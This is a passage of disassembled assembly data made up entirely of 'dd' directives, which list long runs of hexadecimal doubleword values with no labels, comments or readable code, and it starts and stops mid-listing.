		dd 980F3139h, 3BB605EAh, 0B47DE880h, 304FE12h, 3314FDD1h
		dd 0EFA0CA19h, 6C0F6420h, 81D2390Fh, 9E252846h,	914ACC70h
		dd 0C0A8246Ch, 6BC9B44Fh, 1B8B9A25h, 8CCA5CCh, 340D4CA9h
		dd 4C3BE010h, 11910928h, 0D4C8A0E8h, 12CF45BAh,	4289F4A9h
		dd 25ABCC3Ch, 0B6C13871h, 0BDF86278h, 0D85E62A5h, 4840964Fh
		dd 1000E07Dh, 7A12E2CDh, 2DE37DAh, 0C5B32493h, 78400FB5h
		dd 0E524E056h, 0BE849Dh, 26AA2AB2h, 2CA364FCh, 0A01268h
		dd 2FFA32DBh, 0BD54FE6Ah, 4879A628h, 561419C1h,	9983F6BEh
		dd 23134BEAh, 0FECAA90Ah, 6021F879h, 49DBC703h,	0F4A82C46h
		dd 590A1868h, 0FAE631B0h, 35906B54h, 504E8716h,	0AA34B000h
		dd 0C1F982DBh, 39376679h, 267C4890h, 295084ACh,	2D1AF23Ch
		dd 7F1DEE1h, 82F82284h,	0DA8D6B0h, 0B8E60840h, 764090C4h
		dd 0FF38E21h, 0D8C57D1Dh, 0BF384828h, 78A5EA18h, 0FC44A38h
		dd 3D2374E6h, 6BCE8880h, 81C0D7FFh, 2C99D37Dh, 31B960FCh
		dd 752E634Fh, 585CDB03h, 1420A02Dh, 1CC7F8A1h, 0ACA63400h
		dd 2ADB78AAh, 6CC2D52h,	108E23DCh, 0F6A50011h, 0B11FEB3Ah
		dd 0A22A4C66h, 7F3C8404h, 7AFA7B23h, 8AA9FC01h,	99C30DE0h
		dd 206E1080h, 3E887E4Ah, 710B4980h, 0D0D3604Ch,	23BE2190h
		dd 1347E51h, 1779194h, 29FDEDDEh, 2A9536D0h, 0C0A0430Ch
		dd 4BFD8478h, 0F492487Eh, 75158B02h, 0EA0E819Eh, 324C40Ch
		dd 90E356F0h, 100A27A5h, 0B0E1ADDAh, 0E10F7892h, 71EF7Fh
		dd 0B88213DEh, 0BE52013Ah, 32814A06h, 0CB488A3Bh, 5BF1400Ah
		dd 0A3A3E01h, 0A3B76A00h, 0A4257C67h, 9579809Ah, 0A1226B1Eh
		dd 0C8507512h, 644A4BACh, 10B154B0h, 20A57905h,	3A6CC4A1h
		dd 0DB4420BCh, 0F2407D60h, 335A73Ch, 0E2C88C7Fh, 0B04879F6h
		dd 51940810h, 7628BA6Ch, 40B4210Ch, 4E779D08h, 0EC184D08h
		dd 0F2514F1h, 0D3C02E53h, 0C47D7540h, 4202BD06h, 94575D0Ah
		dd 14D8C3F8h, 0FFF6BC90h, 0AAA83D02h, 98480410h, 90005615h
		dd 0E73181D5h, 7FFD83BFh, 40244B60h, 53B76D80h,	4A00A578h
		dd 153FD7C6h, 9F066E46h, 14002070h, 1AEC88CDh, 7BBE6F47h
		dd 4ED448F2h, 60613900h, 0A7DCDE52h, 9EE28D01h,	6A4CEDB9h
		dd 169CF2D0h, 15B7AA1h,	68FC611Ch, 4349F09Bh, 50E44148h
		dd 784E775Bh, 3EECCC46h, 0CC4D00F9h, 3BD5FB51h,	83053563h
		dd 0C59213F4h, 62DA8500h, 0FA4DD8h, 0E8FEB9A9h,	39FC67D7h
		dd 0FFBDB71Eh, 574A3EC4h, 9807B8A5h, 5C6DC3D0h,	0B6AA18E1h
		dd 628B687Fh, 0D1D6A900h, 4A15EBC0h, 0F31100EDh, 0AB274E3Fh
		dd 1400B3B6h, 0C92A83D2h, 7CA84A1Bh, 6DDC030Eh,	856F3F71h
		dd 3EC822F0h, 0D31E7407h, 0B4630EB3h, 0B62803CBh, 0B7196C5Ch
		dd 0E5D21800h, 573FB168h, 626100DEh, 304222AAh,	653A2EB4h
		dd 0F3209833h, 0F106B3A0h, 0A1923980h, 58214A91h, 0A4E74103h
		dd 0E0BC15C9h, 0AD1C8Eh, 0B39D3CB9h, 45946AA3h,	26287403h
		dd 31D132h, 71BCAB40h, 3305371Bh, 0CFB06D04h, 0FB81F803h
		dd 45C0B88Eh, 0BBF0E3h,	2066365Dh, 0C08AD9Ch, 1C21F07h
		dd 32010EE2h, 80513396h, 0E181D669h, 58637FF0h,	1949C45Fh
		dd 5111331Fh, 0CE22842Ah, 587006C3h, 11B5A731h,	0AC38C900h
		dd 0E4E005D7h, 0E994A1D2h, 7B51C41h, 0E695D457h, 0F9D48840h
		dd 9830139Bh, 0CDA00F19h, 0B180EFEDh, 0FB333A74h, 0C8722F01h
		dd 4BC42941h, 8F40D8h, 9A760FF0h, 36483F84h, 9C696400h
		dd 98D7A188h, 94495CCFh, 2DB4E303h, 9BA0EE74h, 4D00B912h
		dd 0AE7BB304h, 72FE6Dh,	0DA07D7C9h, 246A6776h, 0E26D800h
		dd 560C1F01h, 5CC20963h, 3480F261h, 1E2F4D94h, 8E622400h
		dd 0EBC80E23h, 1110189h, 33F0FFA4h, 1840BEAFh, 6195D09h
		dd 216E0A6Ah, 0F2F702h,	0FDE99D26h, 7503C29Fh, 0EB3487CCh
		dd 168AD8A6h, 38B01642h, 595B0C72h, 24000E79h, 0D88CC86Dh
		dd 7C4C01ADh, 639DB05Bh, 1EE121DCh, 0E851A9E8h,	72454707h
		dd 0A444620h, 0AD60E04Eh, 41CC53BFh, 2564C500h,	1077B9CAh
		dd 1136305Ah, 0EFE84329h, 5F879800h, 0CBDF8914h, 0B7AB043Dh
		dd 8090EB95h, 5AD7EA5Dh, 0C944F300h, 6A5E4048h,	9CDD54F5h
		dd 83960B5h, 9F4756A4h,	0CE0F9200h, 0DEA7FC6Ah,	238300F0h
		dd 0D6E76E6Bh, 14004993h, 3242B72Ah, 0AA8718h, 1C984EC4h
		dd 3FBC8827h, 10DCD40Fh, 0A86D2A51h, 0B2C94687h, 0BC06AF00h
		dd 5E4336Bh, 210E7808h,	40B2C1E6h, 4A3D1C86h, 1E0F9013h
		dd 803A027Dh, 76377A96h, 0B400931Fh, 0D809E3C0h, 3EDFC95Bh
		dd 2680D9FDh, 1FFAC855h, 0F4A81EACh, 20F6A95h, 45E43ABEh
		dd 9801DB5Fh, 4B22F559h
		dd 0FFF95080h, 231CCDDCh, 2CEC3B00h, 446D8E52h,	76380015h
		dd 77D322A4h, 20A73214h, 0C1CAA508h, 0D2403A6Ah, 90A888h
		dd 7A0B81CBh, 3492CF92h, 0E44C04F8h, 3D10006Ah,	0E51DDC02h
		dd 48DB3065h, 4E292B39h, 47D4E600h, 2D838F23h, 123B01DCh
		dd 0F9D82C79h, 26D85003h, 0EF7E1CAEh, 206C9000h, 40E49125h
		dd 5CF5493Eh, 0EF350500h, 0D13D50F0h, 0E818B40Ah, 0DED076h
		dd 66EE53B8h, 10F127ADh, 6E6DFF03h, 1F5D807h, 5A7B2629h
		dd 0E4D5AD4Ch, 19C02181h, 1225D3E7h, 8D8900AEh,	1F249E78h
		dd 82EE2842h, 77323F00h, 2D472C37h, 7C001F6h, 7A0E764Ah
		dd 5F9C58BFh, 15284E7Dh, 9C859855h, 4F103600h, 3D90C2h
		dd 5A06A3BBh, 0F768D18h, 70088A4h, 224C59C1h, 0E697BBEh
		dd 35CDCB5Ah, 90CC2440h, 0EB01E38Fh, 47D13AB0h,	4048BC7Ah
		dd 4D4E1C3Eh, 2CDCAB15h, 49203058h, 0F004F13h, 0BF2606C0h
		dd 3616875h, 6B667C20h,	4915725Bh, 8C7AB5h, 0E4FA4452h
		dd 8D7379h, 2F52A24h, 0E064C8BDh, 4C55A300h, 5419D438h
		dd 0D8B15212h, 0D7EE0075h, 8DEA64C6h, 4B0037EBh, 0D9153276h
		dd 50CC093Dh, 5421F428h, 0ECC2Dh, 51759278h, 1216EBD7h
		dd 43048482h, 0C2B2C760h, 0BBB5FC10h, 74806EC8h, 9524B294h
		dd 71561592h, 704854CBh, 1130F6E9h, 2FC21384h, 0C3C00CBh
		dd 67CC10BFh, 722171C7h, 74CD7320h, 0E9E0678Dh,	75C5C314h
		dd 0D76F4900h, 1E59C92Bh, 8F8C13CBh, 16B82182h,	1C170C3Ah
		dd 1048C8ADh, 8007C846h, 0E2AD1F41h, 0B177DA84h, 2C9254E6h
		dd 180062F6h, 614593D3h, 0EF2325h, 0C5F9249h, 0F473E27Fh
		dd 0E2BACB3Dh, 0A18B98h, 1E67B317h, 87D13E04h, 0BC92D96Eh
		dd 9C443046h, 8EAF1B15h, 9D4F88B8h, 3AB2C1E3h, 271F5619h
		dd 27160000h, 33E60C90h, 788418CEh, 613EF8B2h, 0F70F72E2h
		dd 0E1641E76h, 3D9EF567h, 0AC20CCh, 51617F75h, 0E2B7AFD9h
		dd 0EDD5D000h, 450A522h, 193D3FD8h, 3201F24h, 0B17B74CBh
		dd 2300587Eh, 7775F0E0h, 1CC056F2h, 28E35CB8h, 581200A0h
		dd 41C1B57Fh, 0A2004B2Eh, 0BD4051E6h, 49A0E59Bh, 0C48440Fh
		dd 1A154702h, 8884EF24h, 0B2C06042h, 8CFC79C5h,	98277944h
		dd 81550044h, 0AEC56E0Ch, 0E47323EDh, 5FC9841Ch, 59014C02h
		dd 7E4652Fh, 87146809h,	27F19252h, 0A6E2EC8Fh, 18C176B7h
		dd 64FACF2Dh, 9D7B3040h, 1CB83FEAh, 5802289Bh, 9C5FBE0Fh
		dd 43ACEA20h, 7CB5194Ch, 38C847B9h, 0C1DB005Ah,	1C16ECB9h
		dd 0F71D1D17h, 0BA0133FBh, 4B450643h, 0C861AC40h, 0BCE55854h
		dd 41806801h, 0F03A1040h, 0DB480DB8h, 44633AECh, 91270017h
		dd 797E3A69h, 9F047DC5h, 9CB14C5Ch, 122134C0h, 60830FEh
		dd 16A68A8h, 366FA002h,	0CA6CB609h, 67286AA0h, 6297440Ch
		dd 5AB88533h, 0C0680E83h, 0EE1CB1B3h, 0C488D4A4h, 0C2011D23h
		dd 848C5BAh, 1C88D918h,	0AAAD002Ah, 13B7ACA6h, 0A1C0EEE9h
		dd 5937CA31h, 0D3EB0765h, 3E3AD63Fh, 0C025EA05h, 38C06A14h
		dd 93461CB2h, 494E3B1Ch, 0DCB07515h, 9D835250h,	0B0C4B880h
		dd 339305Eh, 98D5E289h,	13CE6100h, 32FD7BA9h, 7AFF1C7Ch
		dd 58AE0022h, 7810D53Ah, 153E300h, 51F576DAh, 0A2D909C3h
		dd 928075CEh, 0C7DC830h, 9700EA75h, 0D28BED9Dh,	39F521A5h
		dd 0A20082BAh, 998C7B3Eh, 5D246F9Fh, 0B300E641h, 895C1D61h
		dd 566200E1h, 0CD290E7h, 591F9C5Bh, 834030A0h, 0DBE18802h
		dd 47FA44h, 4C82034Ah, 0AB9F1661h, 0D9BD5600h, 359B50F2h
		dd 26830EB8h, 9E208899h, 8A24819Fh, 0C27FD400h,	9D0B602Bh
		dd 0E13B00C5h, 0AA4C3395h, 0D8EB306Dh, 0CB1FBD3Dh, 0D2401478h
		dd 8F9D187h, 8F1C0279h,	0DAFDB766h, 89BE4DE0h, 0E4AA9E19h
		dd 0BA0B8108h, 84F73D80h, 0C51F1FFEh, 0D10078ADh, 9FF9E2F6h
		dd 5E010048h, 7411ED88h, 0AF751D84h, 144D7601h,	0D4B3D136h
		dd 56ED2988h, 1EA2C084h, 444E9A04h, 9944E665h, 0FC1F4669h
		dd 1D4E4251h, 9E446A15h, 0E4216548h, 82F212DEh,	253C8414h
		dd 302806F1h, 862229D8h, 6D5C228Bh, 0B7015D10h,	42284728h
		dd 0A76D19AAh, 0CE0849A1h, 111E12F7h, 2918CF02h, 0E1500E95h
		dd 0B42F07FBh, 8F8F7419h, 0B567FE40h, 3FF2A5F1h, 376B491Dh
		dd 8BEA6280h, 311553h, 0EF7C0124h, 3E4482C0h, 87CD4305h
		dd 93C0B2B8h, 0F85EE6h,	7B6CF9A0h, 2C1260ADh, 7121AF00h
		dd 759D549Bh, 999216A5h, 4BA0007Ch, 1AE74829h, 81767300h
		dd 3243AE4Ch, 0BA750092h, 0A9C6B71h, 0E10E488Dh, 0C7416054h
		dd 0C07EEC15h, 5C2BF549h, 94370146h, 220AC7DFh,	0D626E886h
		dd 5B5A5100h, 46E9A08Eh, 0C7A603D3h, 0D7A10942h, 2048948Ah
		dd 60005EA5h, 0C5731DEAh, 61DCD5h, 1F457117h, 0E68E70BAh
		dd 0D8359A07h, 4F7043ABh, 947E025h, 3B61745Fh, 4B009F56h
		dd 9867A69h, 8840F126h,	0D5CE7h, 786A0F7Dh, 0C5EABB7Bh
		dd 0DC6C31C0h, 3948CC2h, 0A97FB290h, 0BC982C95h, 2000B439h
		dd 521B5550h, 64E9B9h, 8461BDD1h, 0C859B05Ah, 0B24E5C00h
		dd 0A141A66h, 5BC51C26h, 0C2921E38h, 4790F6FAh,	7D2AB868h
		dd 49126B00h, 8B07053Fh, 9F7807B3h, 8002FBFAh, 63BE931Eh
		dd 9BCB0800h, 2CF6B982h, 0C937002Ah, 94B4D91Dh,	0E63FC747h
		dd 102960C3h, 4B888Ah, 0AB5D7865h, 0A28F518Eh, 222E8701h
		dd 0C6640CD5h, 43E5E0h,	75F9C594h, 85AB1ED7h, 0AC7C6C00h
		dd 1BA4CFB0h, 0E4BE00D2h, 96FB373Ah, 0FE3CE030h, 97798101h
		dd 0C09DAAA0h, 8E05C0h,	39FDAF48h, 0B22475DDh, 2576A500h
		dd 50A811BFh, 36E200A6h, 0CCEAF045h, 10089B1h, 52B4DE51h
		dd 50C8607Eh, 2C8C0Fh, 0C27C6FEAh, 95614109h, 8A7A3Dh
		dd 53B2F8D6h, 3E47E21h,	9BFEF5FAh, 30F77550h, 7893998h
		dd 462AA200h, 0B424366Ch, 47581F82h, 1C0B81F2h,	0FC6B72CBh
		dd 0DDA096DBh, 97001390h, 4B4FFAE9h, 0D332B2h, 0A15626E0h
		dd 0FF22DF61h, 0FCBD9000h, 0A62D2E28h, 9C6300B5h, 0AE96BF4Bh
		dd 0A83DDE7Bh, 4590052h, 0E01D8EDCh, 57E40EA1h,	0EF8FD33Fh
		dd 70BC14C0h, 30041F2h,	32D84B23h, 7036D4A7h, 0A59B3A64h
		dd 2526017Ah, 16E5337Bh, 0BF1080C6h, 6A129AD4h,	0F6F909ABh
		dd 18204288h, 696B7CA2h, 4B6D2904h, 8083AC7Ah, 2A0F7FBh
		dd 0B01E7D5Eh, 0E6E901E9h, 62043678h, 0DCDFED99h, 0FC3A1827h
		dd 0C20070D5h, 0D9A3959h, 7EFA7B4h, 35B5BDDAh, 804B0794h
		dd 0F4AFA0FEh, 5D644E02h, 40A41C61h, 0B78D8Ch, 0E1A9C3A7h
		dd 97904F26h, 8ED3AD03h, 0D872DF08h, 3FEE6A4h, 0ACEDA7FFh
		dd 2E89AD5h, 8F009726h,	0F3CFF410h, 137A2E7h, 0ECEE0EDFh
		dd 0D0D9BB56h, 0B00061Ah, 28FD4D4Fh, 6C3C70h, 55856852h
		dd 0DFB24BDh, 1871709h,	7D0C80E2h, 515937h, 1E0E15F3h
		dd 99704F3Dh, 36000D7Bh, 6807B22Dh, 0D810E1h, 2E44D758h
		dd 0AE29E839h, 2ABB4Ch,	0BDC3F1C7h, 53308Fh, 0DB3C525h
		dd 0E27C6526h, 0FA02DA7Ch, 0C781BE33h, 0BD016073h, 0D8370F9Ch
		dd 66499891h, 55C1B800h, 0C3F4F632h, 65ADFD00h,	57E65B2Bh
		dd 0B0E30085h, 398A4F3Fh, 0C5002395h, 1568C31Fh, 0B47A09h
		dd 4CDEB198h, 8266EA96h, 81B72200h, 0C0D3FDD0h,	0A10C00ACh
		dd 3BAD270Ah, 87004837h, 82E14398h, 0E32DCFh, 2F134D12h
		dd 7817B709h, 4500317Ch, 7F9CB19Bh, 3C87E46Ah, 0C860A202h
		dd 20DA0CA8h, 0AA03627Dh
		dd 3A2A88A9h, 98D5D04Bh, 0F2FFC32h, 4E1CCAEDh, 74889C60h
		dd 0E706D2C4h, 0B5BFBED1h, 0B290010h, 1E7F970Fh, 0FA3DED49h
		dd 2FBD00C8h, 7B1AC7E9h, 3ED00F5Ah, 3FEAA05h, 714A0A6Ah
		dd 2DC8B0A7h, 3800F234h, 0A1EC1703h, 193DE240h,	710E0908h
		dd 0D1AFEC87h, 6597921Eh, 0A3D6F680h, 0BDFF7Fh,	1523C19Eh
		dd 6855C28Dh, 9B300F00h, 2A7A74FAh, 50D60048h, 3ADC3293h
		dd 0BB033392h, 0E799292Ch, 68A8E0ACh, 54160003h, 0CABA48D5h
		dd 862C82AAh, 7102884Ah, 0AE24D4h, 480BC349h, 0C288800Eh
		dd 97A1C093h, 3E6E5871h, 6280C057h, 6C8B7A84h, 3E003CC9h
		dd 741CFD16h, 5CF42Ah, 1470A5B3h, 0E832AF1Fh, 0C2452C00h
		dd 7A724F9h, 0C4AD0051h, 91FF43C6h, 0A900299Dh,	0E01625D2h
		dd 902B2Ah, 529B3B8Fh, 57672E23h, 33007D78h, 4296ADB9h
		dd 1B396Fh, 0F06DC380h,	0DB4CEF75h, 0AF133C00h,	96E1D750h
		dd 38C1014Bh, 80E8611Dh, 15BC705Fh, 4095D41Dh, 7C369600h
		dd 6467Ah, 0AF86CC77h, 29346671h, 41A0850Eh, 4F003D25h
		dd 813F5164h, 0EC5F3B78h, 58456A80h, 0E3613155h, 2AA85203h
		dd 0B824B28Ah, 2A92E10h, 7B4DA122h, 0D443F909h,	256C0388h
		dd 32C14100h, 0C43E5CA2h, 0A59200AEh, 132658A9h, 4404773Dh
		dd 0A7D3B95h, 0D92A2780h, 943E00BEh, 0A66453F2h, 0E9B8B275h
		dd 58398E12h, 1179D402h, 35D920D7h, 0FBEC4A48h,	0A490AF26h
		dd 773E4000h, 2CC0AD6Eh, 0F889F9h, 8DF522E6h, 7D038628h
		dd 9ECD3EF2h, 0CD17CBA2h, 0FE4F90D1h, 54838E00h, 0F7BAC100h
		dd 96B0A833h, 8C1058F1h, 0B8366700h, 358BD6D5h,	0B38FC800h
		dd 0AE531D27h, 46CA00E2h, 74937683h, 50018167h,	145A10F2h
		dd 0FCE8C253h, 17853B44h, 1BC782Eh, 0C6EE641Dh,	3C289D4Fh
		dd 0EB7F017Eh, 0E84A02EDh, 0C2A60h, 1C8A36A9h, 3E2E784h
		dd 33CEF000h, 8514BEB6h, 0D4540099h, 0F88A0BBCh, 0C31FC992h
		dd 9A071815h, 180C0C62h, 3BE000E1h, 0FBF47725h,	0B900F18Bh
		dd 5748809Ch, 22D5BFh, 0D0326071h, 0AAD49231h, 50B7CE30h
		dd 879B9Eh, 0C98D9CB6h,	4897E306h, 1163EC01h, 1279BB15h
		dd 0BCF455D9h, 741A006Fh, 71783873h, 3405D7B3h,	4481F0F5h
		dd 927AB900h, 7AE0DD7Bh, 0EB4E0578h, 830766DEh,	1903AF14h
		dd 0B0575DD5h, 12AAD8B5h, 2E720C6Ch, 0ED21EADFh, 0B70E8D73h
		dd 0CED7073Ch, 0AE80BC90h, 0DDFBB50Eh, 9E080CDAh, 2719D3DCh
		dd 0BC4DCF07h, 6BE0FC28h, 65910830h, 0C0E0C45Fh, 93CE1208h
		dd 0BB8AA13Eh, 0FF3D8044h, 0A791AFB1h, 0DCDA03CBh, 1048D7F8h
		dd 0F672A1D8h, 0BD612801h, 829CDEEEh, 178DC70h,	0E7ADE098h
		dd 0FCD302A0h, 8E0748BAh, 192B3B47h, 7099ABD0h,	0AE111226h
		dd 0C7CC00FCh, 2CA5610Eh, 59DCCA0Eh, 8D38C0A9h,	7B656804h
		dd 0F13D0003h, 5CF574B2h, 673CF79Ch, 8C363D66h,	28CA47E6h
		dd 0D5A0086h, 23396DF9h, 5100D3B8h, 8580EB41h, 670309h
		dd 0F93E5A64h, 3F169148h, 43BCAE4Ah, 5970078h, 0E1180BD0h
		dd 0DF000247h, 4C3A67EBh, 13B98Ch, 240EF660h, 0D688BC5Dh
		dd 27183E01h, 101B6BD3h, 0EAE5D0h, 369E89B7h, 0DACDD5BEh
		dd 0C3AA3800h, 3A51482Eh, 6DFB0279h, 82AC4C85h,	0AAB6A860h
		dd 4AE5F200h, 7F909957h, 0CC470010h, 0EB21D796h, 0D518B91Eh
		dd 8158AF78h, 314BC8h, 0F092D604h, 6E0151E9h, 0BE8AA203h
		dd 40BB7C38h, 0E429A302h, 50E05B53h, 0B93F9FFDh, 20EEB00Ah
		dd 30CF5827h, 6711E86Ah, 0DC18508Fh, 0C3703387h, 2283030Ah
		dd 0BC518156h, 78280CA0h, 20C0A95Ch, 0ED10986Eh, 1F860660h
		dd 0DF13DDC7h, 0AC9C0072h, 2C7778FFh, 0B6814007h, 0A7BEC034h
		dd 0BD804FCBh, 3BA3DBh,	6C13414Dh, 678B18F2h, 0F0E8CD05h
		dd 44801BF1h, 1C9801A8h, 83DE1C29h, 25DBE16h, 0F33DD0A0h
		dd 2862C000h, 53D66074h, 19640205h, 0BBC913C1h,	15919480h
		dd 0D1015686h, 80344797h, 9C4BE08h, 0E62C073Dh,	50B60E60h
		dd 4C83D8AAh, 297E8E00h, 6406F3B9h, 865D0037h, 2AD02538h
		dd 0D118BA6Eh, 0C19831CCh, 7C921FFDh, 47007B1Dh, 0CF0AF7EEh
		dd 16001ECEh, 4C29DA87h, 58283B4h, 2D796C45h, 0F6CB14D6h
		dd 0C484CF1Ch, 8C7DBAFBh, 61005A10h, 0CAFC3739h, 0ABF521Fh
		dd 12EDEAC8h, 0B580B9A8h, 0BE40F4D1h, 0F12E055h, 0EF00FAA6h
		dd 46E453F7h, 26CD0B7Ch, 644013F0h, 8B08F2Fh, 1838EC0Eh
		dd 0DB07371Fh, 2231C40Dh, 71F8EAD7h, 8D18C026h,	3BAC40D3h
		dd 0F02E78C2h, 902CC3ADh, 0B8A4C652h, 0B7880FD8h, 0D9003F1Ah
		dd 69F11812h, 1DA35A00h, 568CC04Fh, 0AF44Bh, 264707D3h
		dd 3E2F2078h, 4AC7E000h, 0D7E481A0h, 0D5B7005Dh, 64BDDB3Ch
		dd 6816529Fh, 0C8008707h, 204EC6B6h, 8C970037h,	77FA4C5Dh
		dd 263FB76Fh, 0DF628001h, 0DE2B367Fh, 0D84807E5h, 7031BB7Ch
		dd 5D99B151h, 0B680F093h, 0DE50F54Ah, 18DD1FEDh, 8E05FFA2h
		dd 47087602h, 0E1104CACh, 0F46FAE73h, 26004EBEh, 2ADC1C3h
		dd 0C0F82D18h, 88790698h, 69148F96h, 12B0B1D1h,	0D307938Dh
		dd 4F9032F2h, 0D6283Eh,	83D0BD31h, 0CE24EAB7h, 32DD1113h
		dd 80CC3009h, 3D74E594h, 93E000C7h, 92EBB8F2h, 0ED0ABC2Dh
		dd 0D457CA96h, 0C900369Dh, 45E9A323h, 570FAh, 471D09B5h
		dd 8D2F4FF6h, 0A2781600h, 18C27BE9h, 74EA4C30h,	0B12E6400h
		dd 8711C147h, 10009871h, 0C6E40129h, 11F451Bh, 46383059h
		dd 0D4F23FEBh, 95F03A06h, 96BCB500h, 8F355E3Ch,	5C29488Ch
		dd 0AD819F03h, 0A5A0CFA7h, 0E003D71h, 89603C6Dh, 25E68EFDh
		dd 4080A2DCh, 76F482Bh,	8A00C5F4h, 93654A7h, 2ECADB4Fh
		dd 14BB380h, 6A6BC33Fh,	35302060h, 44B2ED00h, 9BE36F2Fh
		dd 0F05916FAh, 5AEA0749h, 14B1235Ch, 0F14E0FA8h, 5639121Fh
		dd 335B7FC0h, 4836BBF6h, 375B227h, 31DCA205h, 0BAE8D1EEh
		dd 0D00C70Ah, 9B0774F1h, 2BCA6E5h, 1AB5185Ah, 0CCD05781h
		dd 7B45502h, 812013B1h,	5E73F6BCh, 0B3C020h, 86FEBE0h
		dd 66813CCBh, 0BC362500h, 7F8631ABh, 693F03D6h,	89A10CB8h
		dd 0CBAE92F8h, 0E8F44Ch, 96562CB0h, 146F2613h, 0A4697F70h
		dd 0DA00E43Fh, 0D2FEBFEh, 0D30E5BADh, 2BF231h, 14636725h
		dd 10524AEh, 4BA60018h,	0FA68AA5Ah, 0ADE9DF00h,	2ADD7525h
		dd 23498A4h, 83B92466h,	79435374h, 0A6363CD8h, 4B001975h
		dd 0EFDFBB2Bh, 6686AAh,	1CB40CE4h, 0BDD46807h, 580EC12Ch
		dd 9A186E00h, 3F83932h,	0EF818E70h, 3382C0A7h, 0D1E55F40h
		dd 0A24D6400h, 0B7A085E4h, 2B0B0083h, 1A8BCA0Fh, 3818EF04h
		dd 0BAE855F4h, 0B3E300A0h, 0EB900EFFh, 11005398h, 0BB0B84B9h
		dd 0F4672C1Eh, 0B62F0315h, 0A3637023h, 7DE0BEC2h, 9104395Ch
		dd 0E232B48Fh, 6838B082h, 574D90h, 17B7E934h, 7B931839h
		dd 0D8B62900h, 0CA5B51EDh, 957716FDh, 378409FFh, 7A0CA056h
		dd 0E84D10E1h, 931C18EBh, 48C4E022h, 0BC6B213h,	6B47541Eh
		dd 2D005B88h, 52128F0h,	95A811FFh, 8948C1D4h, 41F848E5h
		dd 0FBD92E0Bh, 6E18A7DCh, 678945E0h, 2CE93BF4h,	0A4762Ch
		dd 5D6DE0A7h, 524853C5h, 5406000Ch, 0A3BBA0CDh,	60BA74A4h
		dd 579A1001h, 0D8000A0Ch, 83104B40h, 9A742F81h,	87712CE0h
		dd 0C8AC4010h, 5776112Dh, 95763Ch, 8DC98B9Dh, 2860523Fh
		dd 4E99B68h, 0F55EFE98h, 4824D0FAh, 714D7F9h, 0C07815h
		dd 0F89E3ABDh, 614B80h
		dd 0B7B54A8Ah, 0DB308EE4h, 3CC03D3Dh, 718011Bh,	54398D33h
		dd 75D4C0CEh, 0EF121FF9h, 9EBA4028h, 5185022Ch,	94B8C17Fh
		dd 74002496h, 0E26EF1B4h, 424985Bh, 6819D318h, 86010027h
		dd 59A6E6h, 4130AE47h, 0F92E9EACh, 0F4FF1A71h, 0F5009293h
		dd 13A41429h, 963CA98Ah, 8420A57Ch, 7A06ED10h, 0B90B9E09h
		dd 0F92481C9h, 802D5688h, 68836918h, 0AEB8D3A9h, 50008E4Fh
		dd 0BECE27E0h, 0C411CFBFh, 0B3F89A67h, 4A8AB3E4h, 702FEC80h
		dd 0F601498Ah, 0CC9D05A7h, 0C080851Ah, 8E4D3ECh, 0A54CEF5Dh
		dd 6CFA00C7h, 2E8AAE06h, 0AD5A0BC2h, 200014F5h,	0C066B28Fh
		dd 30EF12Dh, 0FD1C2F10h, 3771C1C0h, 1BC801FBh, 0EA317DC3h
		dd 1111808Ch, 0FD608DB8h, 6E76008Ah, 0A64CE096h, 4F04DEA2h
		dd 12343377h, 8D099090h, 0DFB700ACh, 96B08067h,	0A21C49ABh
		dd 23402D81h, 99D80EE6h, 589201h, 0FBF66DB1h, 688FC7CAh
		dd 2F012870h, 64EA3A54h, 2C302B3Eh, 7C7E1F13h, 26D80099h
		dd 73F327CEh, 4F03D100h, 57AD7834h, 9A2D0010h, 0E0A430A2h
		dd 0E64C197Eh, 0B33101A8h, 4CC171Ch, 93BA9E0h, 845E742Eh
		dd 56576402h, 98D1CCA3h, 0CC02ACE0h, 841C1AF8h,	1C014EEh
		dd 0B8D5F441h, 4DCA0B62h, 444129BEh, 20A5E9C9h,	2D00A488h
		dd 0C3E1AC70h, 1F39BCBDh, 0C393E91Eh, 5EF9B029h, 0F700307Bh
		dd 77BCF1C3h, 2EECA8E5h, 14D163h, 58F94481h, 0F00888Ah
		dd 297FA6A0h, 0DA7D3Fh,	816F43C3h, 5DEA6A1Bh, 0C42E671Dh
		dd 3C399200h, 30B2FB5Ch, 0F21950EFh, 0BF00BBF7h, 2CF7FDBh
		dd 1F991897h, 0C0415184h, 2E6D62C9h, 0D900F3B9h, 383EF65h
		dd 394C99h, 89E1F747h, 4B3CA5C2h, 0CFABA800h, 2F8AF0E8h
		dd 2BF449h, 0EAD932C4h,	6050F79Fh, 4DA7FA0Fh, 36070005h
		dd 0B20DD7h, 331FEA64h,	0ABEB9421h, 5F4DF602h, 80715045h
		dd 0E4FB19C8h, 90F46Eh,	0D3B9E989h, 5D4035FDh, 0DE085216h
		dd 2D7D5900h, 66C0183h,	0EB75B185h, 421E2A05h, 970026ECh
		dd 3722FAAEh, 0C4F1286Ah, 51A105B0h, 0BED28ACEh, 50CC18C2h
		dd 0C1BE3B18h, 218BC2Eh, 0A9A5A6DBh, 86C5B7C0h,	2A279807h
		dd 71C0BD79h, 3AEA4803h, 818FE943h, 1B808526h, 67FFC4DCh
		dd 93396838h, 0F100B030h, 0A6956F11h, 5551E5Fh,	0B8ABC0DCh
		dd 90FBB44Ch, 0AF9ADF00h, 13D7B11Eh, 0EF4F076Dh, 20C130E9h
		dd 0C6E7BEFDh, 0D9009890h, 0F9D44E10h, 4B90AF94h, 80104F97h
		dd 16A8DF22h, 2E0A0100h, 0C2F64C32h, 1EDB6101h,	0E224DE6Ch
		dd 0C2076870h, 0B4B9D1A3h, 99A0FA40h, 759A0268h, 5A26696Bh
		dd 40D1E2h, 0D703D0A7h,	0F5154AF9h, 5586004Bh, 86DC49BEh
		dd 0FD01E682h, 71045D9Dh, 4241930h, 74BD03DDh, 4061078Dh
		dd 0C45A3881h, 0B0652EAh, 0CC11E10Fh, 1780EA4Ah, 1645BD22h
		dd 0C98609Ch, 8A0735DFh, 0B6DD7F7Dh, 0F55D4A10h, 12900EC3h
		dd 4F80EE2Fh, 83C8639Bh, 4C01F490h, 9A28DF7Ah, 9ADB3F0Dh
		dd 0AAC060BDh, 5ACA007Fh, 4B45E091h, 760146E4h,	8C96BE1Ah
		dd 0DFFCED6Eh, 3F09FC6Dh, 3B0085EFh, 0B5F26D9h,	8A090A7Bh
		dd 82F6F9AEh, 0E2DCA8A9h, 0EDF441DAh, 0FE30C075h, 4E122C26h
		dd 8B650088h, 0D27B142Fh, 0D44AFE00h, 6429E7C5h, 1DC94E93h
